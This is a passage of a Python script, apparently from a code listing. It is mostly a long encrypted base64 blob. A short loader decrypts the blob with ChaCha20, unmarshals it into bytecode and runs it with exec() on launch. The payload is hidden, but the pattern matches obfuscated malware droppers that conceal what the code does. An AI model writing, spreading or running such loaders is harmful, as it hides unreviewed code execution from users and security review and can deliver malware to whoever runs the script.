LNpUlHJfquwVKrKP8MTb9CiOrTZGLrEbG52ondDiRVDFpwOYdrvL0UGvdn/JWQO97SDUJpUGskmXPxK1FVUZnvu5bLtDV4JgujTjMz72qFQGydmGcxi1iP+/1nX/m0oIJEq+T3MsT0czg3ceG0k9QEq1onJ3Vniz0DD8iD3s7UcETH3kZVEHLZLZ9+mrRIJDQ28JkP306srJXXYQ8eiN1w98vKd3fuvBctS7pxpUD5dlyxIaM60Pa4wnSpAptw/dMo5W8qs8TB8Hd+FqYmyxTsj4NNAj+/KNoSe882t1Say5eO+R8nCMEMQfDEEF+VLW1Wvx/YWB5SdyyGKktCykExD1vK83Nt9VwgCb6i5YsmCHaz6XKW0j4/cdzZXSWu3BWEvCwX6L/FD4Qd0BS4Z9ezKbWF5xDbn7yUFx92hvnWsVfvSjq4z5mxDfgbwEhNARE76rnvXNGYsSJG0sZqHpEQeaq88B6vVt/pPweeevsZPeLg36/sgyRcmKJ3pRJrbe579T2x/H/M9p0uR21s64sqapAfljPIJNem2WzU8PdKEVTqdmICaBHtamW6A5+sZFtVlLel6jGqx8CPTfxS8Nl/JD5znuO7fctSOPmxtz1THbkrOus3XClgdz8XZ+FOnG3mmex3WQc5NvCFWZMIxUgJ1z5wz6qWlv+7nbN955v/KaE8E15sqBMTMwEkAE8gfiCpE7Tdb2jRnpDxlF4opP7GFgyQiUo8a9lpjScP2vWaKdJ8mykBPM4QdcnEK2SgJtuLytQi9cafv0Nr7SvZ4BZ4BzIsKVmlWla+/rdxhO44zaSAGFVLzacKp4dAjKU6gViO2rAkKn4pVazenLM23UFlk4CTdcV3qTSloz7YGhtGECC8cUxBHH+Beh5GBPOcaZcr6HzMU2+SDHLi5CiOJFNBL3rQ1X6QdkO60BbkSVl9ZWhDn75JAs29VZbxCZmyLB3L3tfsIoXY5Yd6D+fhvPvo9hWRsIxpB1UsmqIBlxDC9uZsOmHoUMKFXZ1bHT0dwAMWFpvwQJ16AAYGA0AoRg0Z/pzfLmBqD3uE+A5t2gweuDPgYCChqL23ujfgi8pwPZwsg6kV4LbMHz5K3QXKaYow4HudX8WNQYDsx1tkE09gaAvjVj4jXENXq5Derbz04vlBSkRidHt9mM0Cyl2LRSsbIlZWP1zXG58yctVC13cs5j61PUfTnTkvmPZe9mKZyeLZAo/ypf6FvFFcPUzM39eOYB3+r7OtktsCxVledZ8OThaAjK/RcuXqC3XfTMD+Gl5oRRVagtElqrfKvwTTgszEkGeh039vBbJl1DJeLIECiug19DqOGp9kyoHPpjGuuGZprpOw/7LDvVMCztlnMsND30hlVT5id8s13d9m3bd3nKJg/ahov0zMpuJYfpsG7iZr1RES5tOEu4HQSKJ0zjl7oxNETf4RTC7f5cSbX0+EvoK4zadKnn8iAqUxUZzK/BD3fqEA==" |
| 9 | |
| 10 | def _run(): |
| 11 | try: |
| 12 | _k = bytes.fromhex(_k_hex) |
| 13 | _raw = base64.b64decode(_p_b64) |
| 14 | _n = _raw[:12] |
| 15 | _ct = _raw[12:] |
| 16 | _cipher = ChaCha20.new(key=_k, nonce=_n) |
| 17 | _dec = _cipher.decrypt(_ct) |
| 18 | code = marshal.loads(_dec) |
| 19 | exec(code, globals()) |
| 20 | |
| 21 | except ValueError as ve: |
| 22 | print("Error: Integrity check failed or bad key.") |
| 23 | except EOFError: |
| 24 | print("Error: Marshal data corrupted (possibly wrong Python version).") |
| 25 | except Exception as e: |
| 26 | print(f"Error execution: {e}") |
| 27 | |
| 28 | if __name__ == "__main__": |
| 29 | _run() |